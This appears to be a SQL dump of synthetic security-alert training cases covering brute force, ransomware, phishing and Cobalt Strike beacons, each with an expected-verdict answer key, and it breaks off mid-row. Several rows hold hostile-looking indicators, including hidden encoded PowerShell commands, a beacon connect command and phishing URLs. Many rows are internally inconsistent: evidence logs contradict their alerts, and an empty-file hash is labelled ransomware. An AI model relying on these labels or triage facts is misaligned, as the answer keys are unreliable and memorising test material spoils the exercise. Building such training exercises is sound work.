(687, 'Brute Force Attack Detected on RDP Service', 'high', 'Wazuh', 'Multiple failed login attempts detected from an external IP address targeting the RDP service on the network. The source IP is associated with known malicious activity.', 'Credential Attack', 'T1110', 1, 'Closed', 137, '{\"timestamp\":\"2026-01-11T08:15:24Z\",\"event_type\":\"login_failure\",\"src_ip\":\"185.92.26.102\",\"dst_ip\":\"192.168.1.10\",\"username\":\"administrator\",\"hostname\":\"corp-server-01\",\"failed_attempts\":35}', '2026-01-11 02:30:22', '2026-02-13 00:04:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.92.26.102\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal network address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"administrator\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Common username for administrative access\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The external IP has a high number of reports related to brute force activity, confirming this is a legitimate attack.\"}', 'Novice', 'SIEM', 1, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.336Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:15:24Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.92.26.102\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"corp-server-01\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-02-01T20:31:22.336Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:15:24Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.92.26.102\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"corp-server-01\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-02-01T20:30:22.336Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:15:24Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.92.26.102\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"corp-server-01\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-02-01T20:29:22.336Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:15:24Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.92.26.102\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"corp-server-01\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-02-01T20:28:22.336Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:15:24Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.92.26.102\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"corp-server-01\\\",\\\"failed_attempts\\\":35}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(688, 'Malware Detected - LockBit 3.0 Ransomware', 'critical', 'CrowdStrike', 'A known ransomware file associated with LockBit 3.0 was executed on a corporate workstation. The file hash matches a known malicious signature.', 'Malware', 'T1486', 1, 'closed', NULL, '{\"timestamp\":\"2026-01-11T10:37:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.15\",\"hostname\":\"workstation-05\",\"command_line\":\"C:\\\\Users\\\\User\\\\Downloads\\\\ransom.exe\",\"file_hash\":\"f2d2c3e2345fabc1234567890defabc1234567890abcd1234567890efab1234c\"}', '2026-01-10 08:45:54', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal network address\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"f2d2c3e2345fabc1234567890defabc1234567890abcd1234567890efab1234c\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected by 55 antivirus engines as LockBit 3.0 ransomware\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"C:\\\\Users\\\\User\\\\Downloads\\\\ransom.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Executable associated with ransomware deployment\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The file hash is confirmed malicious with a high detection rate on VirusTotal, indicating a true positive ransomware attack.\"}', 'Novice', 'EDR', 1, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(689, 'Phishing Email Containing Malicious URL', 'medium', 'Proofpoint', 'A phishing email purporting to be from a legitimate service was received by a user. The email contains a URL leading to a fake login page.', 'Phishing', 'T1566', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T09:22:10Z\",\"event_type\":\"email_received\",\"email_sender\":\"no-reply@secure-login.com\",\"username\":\"jdoe\",\"hostname\":\"mailserver-01\",\"url\":\"http://malicious-login.com/login\"}', '2026-01-09 23:23:58', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"no-reply@secure-login.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Email sender domain detected in phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-login.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL leads to a phishing page attempting to steal credentials\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal user account\"}}],\"expected_actions\":[\"block_url\",\"warn_user\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The URL in the email is confirmed malicious and is a known phishing site attempting to harvest credentials.\"}', 'Novice', 'SIEM', 1, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email Containing Malicious URL\",\"date\":\"2026-02-01T20:32:22.337Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(690, 'Suspicious Network Connection from Internal System', 'low', 'Firewall', 'A network connection was observed from an internal system to an external IP address. The connection was flagged due to unusual activity patterns.', 'Network Anomaly', 'N/A', 0, 'closed', NULL, '{\"timestamp\":\"2026-01-11T11:02:33Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.25\",\"dst_ip\":\"203.0.113.55\",\"hostname\":\"workstation-12\"}', '2026-01-10 14:41:41', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal network address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"No known malicious activity associated with this IP\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_anomaly\",\"analysis_notes\":\"The external IP has no malicious activity reports, indicating this is likely benign activity.\"}', 'Novice', 'NDR', 1, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(691, 'Ransomware Attack Detected via Cobalt Strike Beacon', 'critical', 'CrowdStrike', 'A Cobalt Strike beacon was detected on the network, originating from an external IP address known for malicious activity. The beacon was executed on a compromised internal machine, indicating potential ransomware deployment.', 'Malware', 'T1059', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T14:23:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.0.0.25\",\"username\":\"jdoe\",\"hostname\":\"CORP-WS-123\",\"command_line\":\"C:\\\\Program Files\\\\Common Files\\\\cs.exe -connect 203.0.113.45:443\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-01-09 17:36:25', '2026-02-16 18:05:46', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for hosting Cobalt Strike C2 servers.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised machine.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Cobalt Strike payloads.\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The presence of a Cobalt Strike beacon indicates an active attempt to deploy ransomware, necessitating immediate remediation.\"}', 'Beginner', 'EDR', 3, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(692, 'Suspicious Login Attempts Detected from Foreign IP', 'high', 'Wazuh', 'Multiple failed login attempts were detected from an IP address located in a region with no known business operations. This could indicate a potential brute force attack.', 'Brute Force', 'T1078', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T10:15:30Z\",\"event_type\":\"login_failure\",\"src_ip\":\"192.0.2.77\",\"username\":\"admin\",\"hostname\":\"CORP-SERVER-01\",\"failed_attempts\":25}', '2026-01-09 16:58:08', '2026-02-22 14:26:30', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP frequently reported for login brute force attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Commonly targeted username for brute force attacks.\"}},{\"id\":\"artifact_3\",\"type\":\"hostname\",\"value\":\"CORP-SERVER-01\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal server targeted by brute force attempts.\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The repeated failed login attempts from a suspicious IP address suggest a brute force attack.\"}', 'Beginner', 'SIEM', 3, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.339Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:15:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.0.2.77\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"CORP-SERVER-01\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:31:22.339Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:15:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.0.2.77\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"CORP-SERVER-01\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:30:22.339Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:15:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.0.2.77\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"CORP-SERVER-01\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:29:22.339Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:15:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.0.2.77\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"CORP-SERVER-01\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:28:22.339Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:15:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.0.2.77\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"CORP-SERVER-01\\\",\\\"failed_attempts\\\":25}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(693, 'Phishing Email with Malicious URL Detected', 'medium', 'Proofpoint', 'A phishing email was detected containing a malicious URL intended to harvest user credentials. The email was sent from a spoofed domain mimicking a trusted partner.', 'Phishing', 'T1566', 1, 'investigating', 237, '{\"timestamp\":\"2026-01-11T08:45:20Z\",\"event_type\":\"email_received\",\"email_sender\":\"alerts@trusted-partner.com\",\"username\":\"asmith\",\"malicious_url\":\"http://malicious-url.com/login\"}', '2026-01-09 20:28:49', '2026-03-04 15:58:30', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"alerts@trusted-partner.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"EmailRep\",\"verdict\":\"suspicious\",\"details\":\"Email domain appears to be spoofed.\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-url.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL known for phishing attempts.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"asmith\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal user targeted by phishing attempt.\"}}],\"expected_actions\":[\"block_url\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The malicious URL and spoofed domain indicate a phishing attempt to steal user credentials.\"}', 'Beginner', 'SIEM', 3, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email with Malicious URL Detected\",\"date\":\"2026-02-01T20:32:22.340Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(694, 'Failed RDP Access from Known Safe IP', 'low', 'Firewall', 'A failed RDP access attempt was logged from an IP address previously whitelisted for remote connections. The activity appears to be benign.', 'Brute Force', 'T1078', 0, 'closed', NULL, '{\"timestamp\":\"2026-01-11T12:30:50Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.23\",\"username\":\"mnguyen\",\"hostname\":\"CORP-RDP-SERVER\",\"failed_attempts\":3}', '2026-01-10 16:12:35', '2026-02-22 14:53:39', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Review\",\"verdict\":\"clean\",\"details\":\"IP address is whitelisted for remote access.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"mnguyen\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"User confirmed to have attempted RDP login.\"}},{\"id\":\"artifact_3\",\"type\":\"hostname\",\"value\":\"CORP-RDP-SERVER\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"RDP server receiving authorized connection attempts.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The source IP is whitelisted, indicating the failed login attempts are likely a result of user error rather than malicious intent.\"}', 'Beginner', 'SIEM', 3, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(695, 'LockBit Ransomware Detected via Cobalt Strike Beacon', 'critical', 'CrowdStrike', 'A Cobalt Strike beacon was detected communicating with a known LockBit ransomware command and control server. The affected machine is showing signs of ransomware infection.', 'Malware', 'T1059', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T03:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.15.23\",\"dst_ip\":\"185.199.110.153\",\"username\":\"jdoe\",\"hostname\":\"CORP-WKSTN-45\",\"command_line\":\"powershell.exe -nop -w hidden -enc aW5mbw==\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-01-10 03:14:01', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.199.110.153\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP reported 1203 times for C2 activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.15.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"powershell.exe -nop -w hidden -enc aW5mbw==\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command indicating potential malicious activity\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"File hash associated with LockBit ransomware\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The presence of a Cobalt Strike beacon and known ransomware file hash confirms the infection.\"}', 'Intermediate', 'EDR', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(696, 'Suspicious RDP Login Attempts Detected', 'high', 'Wazuh', 'Multiple failed RDP login attempts detected from an external IP address. The attempts indicate a potential brute force attack.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T10:15:45Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.10\",\"username\":\"admin\",\"hostname\":\"RDP-SERVER\",\"failed_attempts\":37}', '2026-01-09 18:53:30', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of target server\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The high number of failed login attempts from a foreign IP suggests a brute force attack.\"}', 'Intermediate', 'SIEM', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.343Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:15:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"RDP-SERVER\\\",\\\"failed_attempts\\\":37}\"},{\"timestamp\":\"2026-02-01T20:31:22.343Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:15:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"RDP-SERVER\\\",\\\"failed_attempts\\\":37}\"},{\"timestamp\":\"2026-02-01T20:30:22.343Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:15:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"RDP-SERVER\\\",\\\"failed_attempts\\\":37}\"},{\"timestamp\":\"2026-02-01T20:29:22.343Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:15:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"RDP-SERVER\\\",\\\"failed_attempts\\\":37}\"},{\"timestamp\":\"2026-02-01T20:28:22.343Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 